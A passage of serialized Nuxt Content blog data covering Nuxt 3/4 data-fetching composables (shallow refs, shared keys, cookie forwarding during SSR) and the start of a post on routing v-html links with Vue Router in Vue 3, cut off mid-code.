re-renders\n",[13106],{"type":33,"tag":41,"props":13107,"children":13108},{"__ignoreMap":7},[13109,13173,13180,13230],{"type":33,"tag":367,"props":13110,"children":13111},{"class":369,"line":370},[13112,13116,13120,13124,13128,13132,13136,13140,13144,13148,13152,13156,13161,13165,13169],{"type":33,"tag":367,"props":13113,"children":13114},{"style":812},[13115],{"type":38,"value":815},{"type":33,"tag":367,"props":13117,"children":13118},{"style":380},[13119],{"type":38,"value":1854},{"type":33,"tag":367,"props":13121,"children":13122},{"style":374},[13123],{"type":38,"value":8376},{"type":33,"tag":367,"props":13125,"children":13126},{"style":380},[13127],{"type":38,"value":825},{"type":33,"tag":367,"props":13129,"children":13130},{"style":633},[13131],{"type":38,"value":11697},{"type":33,"tag":367,"props":13133,"children":13134},{"style":380},[13135],{"type":38,"value":547},{"type":33,"tag":367,"props":13137,"children":13138},{"style":380},[13139],{"type":38,"value":835},{"type":33,"tag":367,"props":13141,"children":13142},{"style":3682},[13143],{"type":38,"value":4288},{"type":33,"tag":367,"props":13145,"children":13146},{"style":1124},[13147],{"type":38,"value":8428},{"type":33,"tag":367,"props":13149,"children":13150},{"style":533},[13151],{"type":38,"value":1131},{"type":33,"tag":367,"props":13153,"children":13154},{"style":380},[13155],{"type":38,"value":388},{"type":33,"tag":367,"props":13157,"children":13158},{"style":391},[13159],{"type":38,"value":13160},"/api/user",{"type":33,"tag":367,"props":13162,"children":13163},{"style":380},[13164],{"type":38,"value":388},{"type":33,"tag":367,"props":13166,"children":13167},{"style":533},[13168],{"type":38,"value":1141},{"type":33,"tag":367,"props":13170,"children":13171},{"style":380},[13172],{"type":38,"value":571},{"type":33,"tag":367,"props":13174,"children":13175},{"class":369,"line":402},[13176],{"type":33,"tag":367,"props":13177,"children":13178},{"emptyLinePlaceholder":726},[13179],{"type":38,"value":729},{"type":33,"tag":367,"props":13181,"children":13182},{"class":369,"line":574},[13183,13188,13192,13196,13200,13204,13208,13212,13217,13221,13225],{"type":33,"tag":367,"props":13184,"children":13185},{"style":374},[13186],{"type":38,"value":13187},"user",{"type":33,"tag":367,"props":13189,"children":13190},{"style":380},[13191],{"type":38,"value":174},{"type":33,"tag":367,"props":13193,"children":13194},{"style":374},[13195],{"type":38,"value":2915},{"type":33,"tag":367,"props":13197,"children":13198},{"style":380},[13199],{"type":38,"value":174},{"type":33,"tag":367,"props":13201,"children":13202},{"style":527},[13203],{"type":38,"value":3036},{"type":33,"tag":367,"props":13205,"children":13206},{"style":380},[13207],{"type":38,"value":835},{"type":33,"tag":367,"props":13209,"children":13210},{"style":380},[13211],{"type":38,"value":557},{"type":33,"tag":367,"props":13213,"children":13214},{"style":391},[13215],{"type":38,"value":13216},"Dulan",{"type":33,"tag":367,"props":13218,"children":13219},{"style":380},[13220],{"type":38,"value":388},{"type":33,"tag":367,"props":13222,"children":13223},{"style":380},[13224],{"type":38,"value":11394},{"type":33,"tag":367,"props":13226,"children":13227},{"style":518},[13228],{"type":38,"value":13229},"        // no re-render in Nuxt 4\n",{"type":33,"tag":367,"props":13231,"children":13232},{"class":369,"line":625},[13233,13237,13241,13245,13249,13253,13258,13262,13266,13270,13274,13279,13283,13287,13291,13295,13299,13303],{"type":33,"tag":367,"props":13234,"children":13235},{"style":374},[13236],{"type":38,"value":13187},{"type":33,"tag":367,"props":13238,"children":13239},{"style":380},[13240],{"type":38,"value":174},{"type":33,"tag":367,"props":13242,"children":13243},{"style":527},[13244],{"type":38,"value":2915},{"type":33,"tag":367,"props":13246,"children":13247},{"style":380},[13248],{"type":38,"value":835},{"type":33,"tag":367,"props":13250,"children":13251},{"style":533},[13252],{"type":38,"value":1854},{"type":33,"tag":367,"props":13254,"children":13255},{"style":9191},[13256],{"type":38,"value":13257}," ...",{"type":33,"tag":367,"props":13259,"children":13260},{"style":374},[13261],{"type":38,"value":13187},{"type":33,"tag":367,"props":13263,"children":13264},{"style":380},[13265],{"type":38,"value":174},{"type":33,"tag":367,"props":13267,"children":13268},{"style":527},[13269],{"type":38,"value":2915},{"type":33,"tag":367,"props":13271,"children":13272},{"style":380},[13273],{"type":38,"value":593},{"type":33,"tag":367,"props":13275,"children":13276},{"style":847},[13277],{"type":38,"value":13278}," name",{"type":33,"tag":367,"props":13280,"children":13281},{"style":380},[13282],{"type":38,"value":825},{"type":33,"tag":367,"props":13284,"children":13285},{"style":380},[13286],{"type":38,"value":557},{"type":33,"tag":367,"props":13288,"children":13289},{"style":391},[13290],{"type":38,"value":13216},{"type":33,"tag":367,"props":13292,"children":13293},{"style":380},[13294],{"type":38,"value":388},{"type":33,"tag":367,"props":13296,"children":13297},{"style":533},[13298],{"type":38,"value":547},{"type":33,"tag":367,"props":13300,"children":13301},{"style":380},[13302],{"type":38,"value":11394},{"type":33,"tag":367,"props":13304,"children":13305},{"style":518},[13306],{"type":38,"value":13307},"  // re-renders\n",{"type":33,"tag":34,"props":13309,"children":13310},{},[13311,13313,13319],{"type":38,"value":13312},"Replacing the whole value works, and a refetch replaces the whole value, so most code never notices. Code that edits a fetched object in place notices immediately. Opt back in with ",{"type":33,"tag":41,"props":13314,"children":13316},{"className":13315},[],[13317],{"type":38,"value":13318},"{ deep: true }",{"type":38,"value":13320}," on the call, and only on the calls that need it, since the shallow default exists because deep-watching a large array is expensive.",{"type":33,"tag":7808,"props":13322,"children":13324},{"id":13323},"calls-sharing-a-key-now-share-refs",[13325],{"type":38,"value":13326},"Calls Sharing a Key Now Share Refs",{"type":33,"tag":34,"props":13328,"children":13329},{},[13330,13332,13338,13340,13345,13346,13351,13352,13357,13359,13364,13365,13370,13371,13376,13377,13382,13384,13389],{"type":38,"value":13331},"Two ",{"type":33,"tag":41,"props":13333,"children":13335},{"className":13334},[],[13336],{"type":38,"value":13337},"useAsyncData(\"articles\", ...)",{"type":38,"value":13339}," calls in different components return the same ",{"type":33,"tag":41,"props":13341,"children":13343},{"className":13342},[],[13344],{"type":38,"value":10165},{"type":38,"value":3577},{"type":33,"tag":41,"props":13347,"children":13349},{"className":13348},[],[13350],{"type":38,"value":3583},{"type":38,"value":3585},{"type":33,"tag":41,"props":13353,"children":13355},{"className":13354},[],[13356],{"type":38,"value":8518},{"type":38,"value":13358},". If those calls pass conflicting ",{"type":33,"tag":41,"props":13360,"children":13362},{"className":13361},[],[13363],{"type":38,"value":9834},{"type":38,"value":3577},{"type":33,"tag":41,"props":13366,"children":13368},{"className":13367},[],[13369],{"type":38,"value":9842},{"type":38,"value":3577},{"type":33,"tag":41,"props":13372,"children":13374},{"className":13373},[],[13375],{"type":38,"value":10157},{"type":38,"value":3577},{"type":33,"tag":41,"props":13378,"children":13380},{"className":13379},[],[13381],{"type":38,"value":13092},{"type":38,"value":13383},", or ",{"type":33,"tag":41,"props":13385,"children":13387},{"className":13386},[],[13388],{"type":38,"value":12772},{"type":38,"value":13390}," options, one of them wins and the other silently gets a shape it did not ask for. Either make the options identical, or give the calls different keys.",{"type":33,"tag":95,"props":13392,"children":13394},{"id":13393},"when-these-are-the-wrong-tool",[13395],{"type":38,"value":13396},"When These Are the Wrong Tool",{"type":33,"tag":34,"props":13398,"children":13399},{},[13400],{"type":38,"value":13401},"These composables cache per key, for one page load, in one browser. That is the boundary.",{"type":33,"tag":34,"props":13403,"children":13404},{},[13405,13407,13413],{"type":38,"value":13406},"If you need optimistic updates, retries with backoff, background revalidation, or a cache shared across routes with its own invalidation rules, that is a query library. Pinia Colada and TanStack Query both handle it, both integrate with Nuxt SSR, and the point at which you have written the third ",{"type":33,"tag":41,"props":13408,"children":13410},{"className":13409},[],[13411],{"type":38,"value":13412},"refreshNuxtData",{"type":38,"value":13414}," call to keep two components in agreement is the point you should have switched.",{"type":33,"tag":34,"props":13416,"children":13417},{},[13418,13420,13426,13427,13433],{"type":38,"value":13419},"If the data changes while the user is looking at it, none of this applies at all. Polling with ",{"type":33,"tag":41,"props":13421,"children":13423},{"className":13422},[],[13424],{"type":38,"value":13425},"setInterval",{"type":38,"value":150},{"type":33,"tag":41,"props":13428,"children":13430},{"className":13429},[],[13431],{"type":38,"value":13432},"refresh()",{"type":38,"value":13434}," works for a status field that updates every 30 seconds. It is the wrong shape for anything faster, and a WebSocket or an SSE stream is the honest answer there.",{"type":33,"tag":34,"props":13436,"children":13437},{},[13438],{"type":38,"value":13439},"And if the data never changes, do not fetch it. Read it at build time with Nuxt Content or a build-time script and ship it as part of the bundle.",{"type":33,"tag":95,"props":13441,"children":13442},{"id":7803},[13443],{"type":38,"value":7806},{"type":33,"tag":34,"props":13445,"children":13446},{},[13447],{"type":33,"tag":201,"props":13448,"children":13449},{},[13450,13451,13456,13458,13463,13465,13470],{"type":38,"value":7904},{"type":33,"tag":41,"props":13452,"children":13454},{"className":13453},[],[13455],{"type":38,"value":8008},{"type":38,"value":13457}," just ",{"type":33,"tag":41,"props":13459,"children":13461},{"className":13460},[],[13462],{"type":38,"value":8050},{"type":38,"value":13464}," plus ",{"type":33,"tag":41,"props":13466,"children":13468},{"className":13467},[],[13469],{"type":38,"value":8024},{"type":38,"value":7821},{"type":33,"tag":34,"props":13472,"children":13473},{},[13474,13476,13481,13483,13489],{"type":38,"value":13475},"Close enough to reason with. ",{"type":33,"tag":41,"props":13477,"children":13479},{"className":13478},[],[13480],{"type":38,"value":8249},{"type":38,"value":13482}," behaves like ",{"type":33,"tag":41,"props":13484,"children":13486},{"className":13485},[],[13487],{"type":38,"value":13488},"useAsyncData(autoKey, () => $fetch(url, opts), opts)",{"type":38,"value":13490},". The difference is the auto-generated key and the type inference it gets from your server routes, which is worth more than it sounds when the API changes.",{"type":33,"tag":34,"props":13492,"children":13493},{},[13494],{"type":33,"tag":201,"props":13495,"children":13496},{},[13497],{"type":38,"value":13498},"Why does my data fetch twice?",{"type":33,"tag":34,"props":13500,"children":13501},{},[13502,13504,13509,13511,13516],{"type":38,"value":13503},"Almost always a key mismatch between server and client. ",{"type":33,"tag":41,"props":13505,"children":13507},{"className":13506},[],[13508],{"type":38,"value":8008},{"type":38,"value":13510}," derives its key from the URL and options, so a URL containing anything unstable, a timestamp, a random value, a client-only ref, produces a different key at hydration, misses the payload, and refetches. Pass an explicit ",{"type":33,"tag":41,"props":13512,"children":13514},{"className":13513},[],[13515],{"type":38,"value":8700},{"type":38,"value":13517}," to pin it.",{"type":33,"tag":34,"props":13519,"children":13520},{},[13521],{"type":33,"tag":201,"props":13522,"children":13523},{},[13524,13526,13531],{"type":38,"value":13525},"Should I ",{"type":33,"tag":41,"props":13527,"children":13529},{"className":13528},[],[13530],{"type":38,"value":3685},{"type":38,"value":13532}," these composables?",{"type":33,"tag":34,"props":13534,"children":13535},{},[13536],{"type":38,"value":13537},"Await the blocking ones so Nuxt can suspend the component while the request runs. Do not await the lazy ones, since there is nothing to wait for and awaiting suggests otherwise to the next person reading it.",{"type":33,"tag":34,"props":13539,"children":13540},{},[13541],{"type":33,"tag":201,"props":13542,"children":13543},{},[13544],{"type":38,"value":13545},"How do I pass cookies to an external API during SSR?",{"type":33,"tag":34,"props":13547,"children":13548},{},[13549],{"type":38,"value":13550},"The server render does not automatically forward the browser's headers. Read them explicitly:",{"type":33,"tag":357,"props":13552,"children":13554},{"code":13553,"language":8808,"meta":7,"className":8809,"style":7},"const headers = useRequestHeaders([\"cookie\"]);\nconst { data } = await useFetch(\"https://api.example.com/me\", { headers });\n",[13555],{"type":33,"tag":41,"props":13556,"children":13557},{"__ignoreMap":7},[13558,13605],{"type":33,"tag":367,"props":13559,"children":13560},{"class":369,"line":370},[13561,13565,13570,13574,13579,13584,13588,13593,13597,13601],{"type":33,"tag":367,"props":13562,"children":13563},{"style":812},[13564],{"type":38,"value":815},{"type":33,"tag":367,"props":13566,"children":13567},{"style":633},[13568],{"type":38,"value":13569}," headers",{"type":33,"tag":367,"props":13571,"children":13572},{"style":380},[13573],{"type":38,"value":835},{"type":33,"tag":367,"props":13575,"children":13576},{"style":1124},[13577],{"type":38,"value":13578}," useRequestHeaders",{"type":33,"tag":367,"props":13580,"children":13581},{"style":533},[13582],{"type":38,"value":13583},"([",{"type":33,"tag":367,"props":13585,"children":13586},{"style":380},[13587],{"type":38,"value":388},{"type":33,"tag":367,"props":13589,"children":13590},{"style":391},[13591],{"type":38,"value":13592},"cookie",{"type":33,"tag":367,"props":13594,"children":13595},{"style":380},[13596],{"type":38,"value":388},{"type":33,"tag":367,"props":13598,"children":13599},{"style":533},[13600],{"type":38,"value":1288},{"type":33,"tag":367,"props":13602,"children":13603},{"style":380},[13604],{"type":38,"value":571},{"type":33,"tag":367,"props":13606,"children":13607},{"class":369,"line":402},[13608,13612,13616,13620,13624,13628,13632,13636,13640,13644,13649,13653,13657,13661,13665,13669],{"type":33,"tag":367,"props":13609,"children":13610},{"style":812},[13611],{"type":38,"value":815},{"type":33,"tag":367,"props":13613,"children":13614},{"style":380},[13615],{"type":38,"value":1854},{"type":33,"tag":367,"props":13617,"children":13618},{"style":633},[13619],{"type":38,"value":8376},{"type":33,"tag":367,"props":13621,"children":13622},{"style":380},[13623],{"type":38,"value":547},{"type":33,"tag":367,"props":13625,"children":13626},{"style":380},[13627],{"type":38,"value":835},{"type":33,"tag":367,"props":13629,"children":13630},{"style":3682},[13631],{"type":38,"value":4288},{"type":33,"tag":367,"props":13633,"children":13634},{"style":1124},[13635],{"type":38,"value":8428},{"type":33,"tag":367,"props":13637,"children":13638},{"style":533},[13639],{"type":38,"value":1131},{"type":33,"tag":367,"props":13641,"children":13642},{"style":380},[13643],{"type":38,"value":388},{"type":33,"tag":367,"props":13645,"children":13646},{"style":391},[13647],{"type":38,"value":13648},"https://api.example.com/me",{"type":33,"tag":367,"props":13650,"children":13651},{"style":380},[13652],{"type":38,"value":388},{"type":33,"tag":367,"props":13654,"children":13655},{"style":380},[13656],{"type":38,"value":593},{"type":33,"tag":367,"props":13658,"children":13659},{"style":533},[13660],{"type":38,"value":1854},{"type":33,"tag":367,"props":13662,"children":13663},{"style":374},[13664],{"type":38,"value":13569},{"type":33,"tag":367,"props":13666,"children":13667},{"style":533},[13668],{"type":38,"value":2325},{"type":33,"tag":367,"props":13670,"children":13671},{"style":380},[13672],{"type":38,"value":571},{"type":33,"tag":34,"props":13674,"children":13675},{},[13676],{"type":33,"tag":201,"props":13677,"children":13678},{},[13679],{"type":38,"value":13680},"Can I call these outside a component?",{"type":33,"tag":34,"props":13682,"children":13683},{},[13684,13686,13692,13694,13699],{"type":38,"value":13685},"Only inside a setup function, a plugin, or a route middleware, because they need the Nuxt context to reach the payload. Calling one inside a click handler or a ",{"type":33,"tag":41,"props":13687,"children":13689},{"className":13688},[],[13690],{"type":38,"value":13691},"setTimeout",{"type":38,"value":13693}," throws a context error. Use ",{"type":33,"tag":41,"props":13695,"children":13697},{"className":13696},[],[13698],{"type":38,"value":8024},{"type":38,"value":13700}," there.",{"type":33,"tag":7947,"props":13702,"children":13703},{},[13704],{"type":38,"value":7951},{"title":7,"searchDepth":402,"depth":402,"links":13706},[13707,13708,13709,13710,13711,13712,13713,13714,13715,13716,13720,13721],{"id":8075,"depth":402,"text":8078},{"id":8276,"depth":402,"text":8279},{"id":8327,"depth":402,"text":8008},{"id":9409,"depth":402,"text":8050},{"id":10217,"depth":402,"text":10220},{"id":10725,"depth":402,"text":10728},{"id":11443,"depth":402,"text":11446},{"id":11862,"depth":402,"text":11865},{"id":12727,"depth":402,"text":12730},{"id":13072,"depth":402,"text":13075,"children":13717},[13718,13719],{"id":13078,"depth":574,"text":13081},{"id":13323,"depth":574,"text":13326},{"id":13393,"depth":402,"text":13396},{"id":7803,"depth":402,"text":7806},"content:blog:nuxt-3-data-fetching-composables.md","blog/nuxt-3-data-fetching-composables.md",{"_path":13725,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13726,"description":13727,"created_at":13728,"updated_at":10,"author":11,"categories":13729,"draft":6,"head":13732,"body":13738,"_type":7976,"_id":16696,"_source":7978,"_file":16697,"_extension":7980},"/blog/dynamically-generated-links-with-v-html-in-vuejs","Handling v-html Links with Vue Router in Vue 3","Links rendered with v-html reload the whole app instead of routing. Fix it with one delegated click listener in Vue 3, guard the edge cases, and sanitize the HTML.","2024-03-25",[13,13730,13731],"Vue Router","JavaScript",{"meta":13733},[13734,13736,13737],{"name":22,"content":13735},"v-html, Vue Router, Vue 3, event delegation, DOMPurify, XSS, Nuxt",{"name":25,"content":11},{"name":27,"content":28},{"type":30,"children":13739,"toc":16687},[13740,13761,13789,13794,13800,13805,14546,14551,14563,14583,14617,14645,14651,14656,15805,15824,15832,15837,15843,15848,15859,15871,15906,15948,15986,15992,16012,16143,16171,16177,16203,16293,16298,16449,16484,16494,16499,16505,16510,16531,16536,16548,16552,16567,16594,16615,16649,16657,16670,16678,16683],{"type":33,"tag":34,"props":13741,"children":13742},{},[13743,13745,13751,13753,13759],{"type":38,"value":13744},"A marketing site I work on pulls its page copy from a headless CMS. Editors write rich text, the API returns a string of HTML, and the component drops it into the page with ",{"type":33,"tag":41,"props":13746,"children":13748},{"className":13747},[],[13749],{"type":38,"value":13750},"v-html",{"type":38,"value":13752},". That was fine until an editor added a link to ",{"type":33,"tag":41,"props":13754,"children":13756},{"className":13755},[],[13757],{"type":38,"value":13758},"/pricing",{"type":38,"value":13760},". Clicking it reloaded the entire application.",{"type":33,"tag":34,"props":13762,"children":13763},{},[13764,13766,13772,13774,13780,13782,13787],{"type":38,"value":13765},"Vue Router never sees that click. ",{"type":33,"tag":41,"props":13767,"children":13769},{"className":13768},[],[13770],{"type":38,"value":13771},"\u003CRouterLink>",{"type":38,"value":13773}," renders an anchor and attaches its own handler to it; the router does not run a global listener watching the document for stray ",{"type":33,"tag":41,"props":13775,"children":13777},{"className":13776},[],[13778],{"type":38,"value":13779},"\u003Ca>",{"type":38,"value":13781}," elements. Anything ",{"type":33,"tag":41,"props":13783,"children":13785},{"className":13784},[],[13786],{"type":38,"value":13750},{"type":38,"value":13788}," injects is a plain DOM node that the browser owns, so the browser does what browsers do with an anchor. It requests a new document, throws away the JavaScript context, and rebuilds the app from nothing. The Pinia store resets, the scroll position is lost, and a navigation that should have swapped a view instead pays for a full document request and a fresh parse of every bundle.",{"type":33,"tag":34,"props":13790,"children":13791},{},[13792],{"type":38,"value":13793},"There are two ways to intercept those clicks. The first one is in most of the tutorials, including an earlier version of this post, and it leaks.",{"type":33,"tag":95,"props":13795,"children":13797},{"id":13796},"the-version-that-leaks",[13798],{"type":38,"value":13799},"The Version That Leaks",{"type":33,"tag":34,"props":13801,"children":13802},{},[13803],{"type":38,"value":13804},"The common approach walks the rendered HTML after mount and attaches a listener to every anchor it finds.",{"type":33,"tag":357,"props":13806,"children":13808},{"code":13807,"language":562,"meta":7,"className":1963,"style":7},"\u003Cscript setup>\nimport { ref, onMounted } from \"vue\";\nimport { useRouter } from \"vue-router\";\n\nconst props = defineProps({\n  html: { type: String, required: true },\n});\n\nconst root = ref(null);\nconst router = useRouter();\n\nonMounted(() => {\n  root.value.querySelectorAll(\"a\").forEach((link) => {\n    if (!link.hasAttribute(\"target\")) {\n      link.addEventListener(\"click\", (event) => {\n        event.preventDefault();\n        router.push(link.getAttribute(\"href\"));\n      });\n    }\n  });\n});\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Cdiv ref=\"root\" v-html=\"props.html\" />\n\u003C/template>\n",[13809],{"type":33,"tag":41,"props":13810,"children":13811},{"__ignoreMap":7},[13812,13831,13879,13919,13926,13951,14004,14015,14022,14058,14086,14093,14112,14187,14237,14294,14319,14379,14391,14399,14410,14421,14436,14443,14458,14531],{"type":33,"tag":367,"props":13813,"children":13814},{"class":369,"line":370},[13815,13819,13823,13827],{"type":33,"tag":367,"props":13816,"children":13817},{"style":1974},[13818],{"type":38,"value":1977},{"type":33,"tag":367,"props":13820,"children":13821},{"style":1980},[13822],{"type":38,"value":1983},{"type":33,"tag":367,"props":13824,"children":13825},{"style":633},[13826],{"type":38,"value":1988},{"type":33,"tag":367,"props":13828,"children":13829},{"style":1974},[13830],{"type":38,"value":2015},{"type":33,"tag":367,"props":13832,"children":13833},{"class":369,"line":402},[13834,13838,13842,13846,13850,13855,13859,13863,13867,13871,13875],{"type":33,"tag":367,"props":13835,"children":13836},{"style":527},[13837],{"type":38,"value":530},{"type":33,"tag":367,"props":13839,"children":13840},{"style":533},[13841],{"type":38,"value":536},{"type":33,"tag":367,"props":13843,"children":13844},{"style":539},[13845],{"type":38,"value":3831},{"type":33,"tag":367,"props":13847,"children":13848},{"style":380},[13849],{"type":38,"value":593},{"type":33,"tag":367,"props":13851,"children":13852},{"style":539},[13853],{"type":38,"value":13854}," onMounted",{"type":33,"tag":367,"props":13856,"children":13857},{"style":533},[13858],{"type":38,"value":547},{"type":33,"tag":367,"props":13860,"children":13861},{"style":527},[13862],{"type":38,"value":552},{"type":33,"tag":367,"props":13864,"children":13865},{"style":380},[13866],{"type":38,"value":557},{"type":33,"tag":367,"props":13868,"children":13869},{"style":391},[13870],{"type":38,"value":562},{"type":33,"tag":367,"props":13872,"children":13873},{"style":380},[13874],{"type":38,"value":388},{"type":33,"tag":367,"props":13876,"children":13877},{"style":380},[13878],{"type":38,"value":571},{"type":33,"tag":367,"props":13880,"children":13881},{"class":369,"line":574},[13882,13886,13890,13895,13899,13903,13907,13911,13915],{"type":33,"tag":367,"props":13883,"children":13884},{"style":527},[13885],{"type":38,"value":530},{"type":33,"tag":367,"props":13887,"children":13888},{"style":533},[13889],{"type":38,"value":536},{"type":33,"tag":367,"props":13891,"children":13892},{"style":539},[13893],{"type":38,"value":13894},"useRouter",{"type":33,"tag":367,"props":13896,"children":13897},{"style":533},[13898],{"type":38,"value":547},{"type":33,"tag":367,"props":13900,"children":13901},{"style":527},[13902],{"type":38,"value":552},{"type":33,"tag":367,"props":13904,"children":13905},{"style":380},[13906],{"type":38,"value":557},{"type":33,"tag":367,"props":13908,"children":13909},{"style":391},[13910],{"type":38,"value":4822},{"type":33,"tag":367,"props":13912,"children":13913},{"style":380},[13914],{"type":38,"value":388},{"type":33,"tag":367,"props":13916,"children":13917},{"style":380},[13918],{"type":38,"value":571},{"type":33,"tag":367,"props":13920,"children":13921},{"class":369,"line":625},[13922],{"type":33,"tag":367,"props":13923,"children":13924},{"emptyLinePlaceholder":726},[13925],{"type":38,"value":729},{"type":33,"tag":367,"props":13927,"children":13928},{"class":369,"line":681},[13929,13933,13938,13942,13947],{"type":33,"tag":367,"props":13930,"children":13931},{"style":812},[13932],{"type":38,"value":815},{"type":33,"tag":367,"props":13934,"children":13935},{"style":633},[13936],{"type":38,"value":13937}," props",{"type":33,"tag":367,"props":13939,"children":13940},{"style":380},[13941],{"type":38,"value":835},{"type":33,"tag":367,"props":13943,"children":13944},{"style":1124},[13945],{"type":38,"value":13946}," defineProps",{"type":33,"tag":367,"props":13948,"children":13949},{"style":533},[13950],{"type":38,"value":5178},{"type":33,"tag":367,"props":13952,"children":13953},{"class":369,"line":722},[13954,13959,13963,13967,13971,13975,13979,13983,13988,13992,13996,14000],{"type":33,"tag":367,"props":13955,"children":13956},{"style":847},[13957],{"type":38,"value":13958},"  html",{"type":33,"tag":367,"props":13960,"children":13961},{"style":380},[13962],{"type":38,"value":825},{"type":33,"tag":367,"props":13964,"children":13965},{"style":533},[13966],{"type":38,"value":1854},{"type":33,"tag":367,"props":13968,"children":13969},{"style":847},[13970],{"type":38,"value":636},{"type":33,"tag":367,"props":13972,"children":13973},{"style":380},[13974],{"type":38,"value":825},{"type":33,"tag":367,"props":13976,"children":13977},{"style":374},[13978],{"type":38,"value":5928},{"type":33,"tag":367,"props":13980,"children":13981},{"style":380},[13982],{"type":38,"value":593},{"type":33,"tag":367,"props":13984,"children":13985},{"style":847},[13986],{"type":38,"value":13987}," required",{"type":33,"tag":367,"props":13989,"children":13990},{"style":380},[13991],{"type":38,"value":825},{"type":33,"tag":367,"props":13993,"children":13994},{"style":901},[13995],{"type":38,"value":5005},{"type":33,"tag":367,"props":13997,"children":13998},{"style":533},[13999],{"type":38,"value":547},{"type":33,"tag":367,"props":14001,"children":14002},{"style":380},[14003],{"type":38,"value":908},{"type":33,"tag":367,"props":14005,"children":14006},{"class":369,"line":732},[14007,14011],{"type":33,"tag":367,"props":14008,"children":14009},{"style":533},[14010],{"type":38,"value":1532},{"type":33,"tag":367,"props":14012,"children":14013},{"style":380},[14014],{"type":38,"value":571},{"type":33,"tag":367,"props":14016,"children":14017},{"class":369,"line":766},[14018],{"type":33,"tag":367,"props":14019,"children":14020},{"emptyLinePlaceholder":726},[14021],{"type":38,"value":729},{"type":33,"tag":367,"props":14023,"children":14024},{"class":369,"line":800},[14025,14029,14034,14038,14042,14046,14050,14054],{"type":33,"tag":367,"props":14026,"children":14027},{"style":812},[14028],{"type":38,"value":815},{"type":33,"tag":367,"props":14030,"children":14031},{"style":633},[14032],{"type":38,"value":14033}," root",{"type":33,"tag":367,"props":14035,"children":14036},{"style":380},[14037],{"type":38,"value":835},{"type":33,"tag":367,"props":14039,"children":14040},{"style":1124},[14041],{"type":38,"value":4106},{"type":33,"tag":367,"props":14043,"children":14044},{"style":533},[14045],{"type":38,"value":1131},{"type":33,"tag":367,"props":14047,"children":14048},{"style":901},[14049],{"type":38,"value":4159},{"type":33,"tag":367,"props":14051,"children":14052},{"style":533},[14053],{"type":38,"value":1141},{"type":33,"tag":367,"props":14055,"children":14056},{"style":380},[14057],{"type":38,"value":571},{"type":33,"tag":367,"props":14059,"children":14060},{"class":369,"line":808},[14061,14065,14069,14073,14078,14082],{"type":33,"tag":367,"props":14062,"children":14063},{"style":812},[14064],{"type":38,"value":815},{"type":33,"tag":367,"props":14066,"children":14067},{"style":633},[14068],{"type":38,"value":776},{"type":33,"tag":367,"props":14070,"children":14071},{"style":380},[14072],{"type":38,"value":835},{"type":33,"tag":367,"props":14074,"children":14075},{"style":1124},[14076],{"type":38,"value":14077}," useRouter",{"type":33,"tag":367,"props":14079,"children":14080},{"style":533},[14081],{"type":38,"value":1197},{"type":33,"tag":367,"props":14083,"children":14084},{"style":380},[14085],{"type":38,"value":571},{"type":33,"tag":367,"props":14087,"children":14088},{"class":369,"line":843},[14089],{"type":33,"tag":367,"props":14090,"children":14091},{"emptyLinePlaceholder":726},[14092],{"type":38,"value":729},{"type":33,"tag":367,"props":14094,"children":14095},{"class":369,"line":861},[14096,14100,14104,14108],{"type":33,"tag":367,"props":14097,"children":14098},{"style":1124},[14099],{"type":38,"value":8016},{"type":33,"tag":367,"props":14101,"children":14102},{"style":533},[14103],{"type":38,"value":2898},{"type":33,"tag":367,"props":14105,"children":14106},{"style":633},[14107],{"type":38,"value":1356},{"type":33,"tag":367,"props":14109,"children":14110},{"style":533},[14111],{"type":38,"value":840},{"type":33,"tag":367,"props":14113,"children":14114},{"class":369,"line":911},[14115,14120,14124,14128,14132,14137,14141,14145,14149,14153,14157,14161,14166,14170,14175,14179,14183],{"type":33,"tag":367,"props":14116,"children":14117},{"style":374},[14118],{"type":38,"value":14119},"  root",{"type":33,"tag":367,"props":14121,"children":14122},{"style":380},[14123],{"type":38,"value":174},{"type":33,"tag":367,"props":14125,"children":14126},{"style":527},[14127],{"type":38,"value":2915},{"type":33,"tag":367,"props":14129,"children":14130},{"style":380},[14131],{"type":38,"value":174},{"type":33,"tag":367,"props":14133,"children":14134},{"style":1124},[14135],{"type":38,"value":14136},"querySelectorAll",{"type":33,"tag":367,"props":14138,"children":14139},{"style":533},[14140],{"type":38,"value":1131},{"type":33,"tag":367,"props":14142,"children":14143},{"style":380},[14144],{"type":38,"value":388},{"type":33,"tag":367,"props":14146,"children":14147},{"style":391},[14148],{"type":38,"value":68},{"type":33,"tag":367,"props":14150,"children":14151},{"style":380},[14152],{"type":38,"value":388},{"type":33,"tag":367,"props":14154,"children":14155},{"style":533},[14156],{"type":38,"value":1141},{"type":33,"tag":367,"props":14158,"children":14159},{"style":380},[14160],{"type":38,"value":174},{"type":33,"tag":367,"props":14162,"children":14163},{"style":1124},[14164],{"type":38,"value":14165},"forEach",{"type":33,"tag":367,"props":14167,"children":14168},{"style":533},[14169],{"type":38,"value":1341},{"type":33,"tag":367,"props":14171,"children":14172},{"style":1344},[14173],{"type":38,"value":14174},"link",{"type":33,"tag":367,"props":14176,"children":14177},{"style":533},[14178],{"type":38,"value":4242},{"type":33,"tag":367,"props":14180,"children":14181},{"style":633},[14182],{"type":38,"value":4952},{"type":33,"tag":367,"props":14184,"children":14185},{"style":533},[14186],{"type":38,"value":840},{"type":33,"tag":367,"props":14188,"children":14189},{"class":369,"line":956},[14190,14194,14198,14202,14206,14210,14215,14219,14223,14228,14232],{"type":33,"tag":367,"props":14191,"children":14192},{"style":633},[14193],{"type":38,"value":4964},{"type":33,"tag":367,"props":14195,"children":14196},{"style":533},[14197],{"type":38,"value":1215},{"type":33,"tag":367,"props":14199,"children":14200},{"style":633},[14201],{"type":38,"value":2444},{"type":33,"tag":367,"props":14203,"children":14204},{"style":374},[14205],{"type":38,"value":14174},{"type":33,"tag":367,"props":14207,"children":14208},{"style":380},[14209],{"type":38,"value":174},{"type":33,"tag":367,"props":14211,"children":14212},{"style":1124},[14213],{"type":38,"value":14214},"hasAttribute",{"type":33,"tag":367,"props":14216,"children":14217},{"style":533},[14218],{"type":38,"value":1131},{"type":33,"tag":367,"props":14220,"children":14221},{"style":380},[14222],{"type":38,"value":388},{"type":33,"tag":367,"props":14224,"children":14225},{"style":391},[14226],{"type":38,"value":14227},"target",{"type":33,"tag":367,"props":14229,"children":14230},{"style":380},[14231],{"type":38,"value":388},{"type":33,"tag":367,"props":14233,"children":14234},{"style":533},[14235],{"type":38,"value":14236},")) 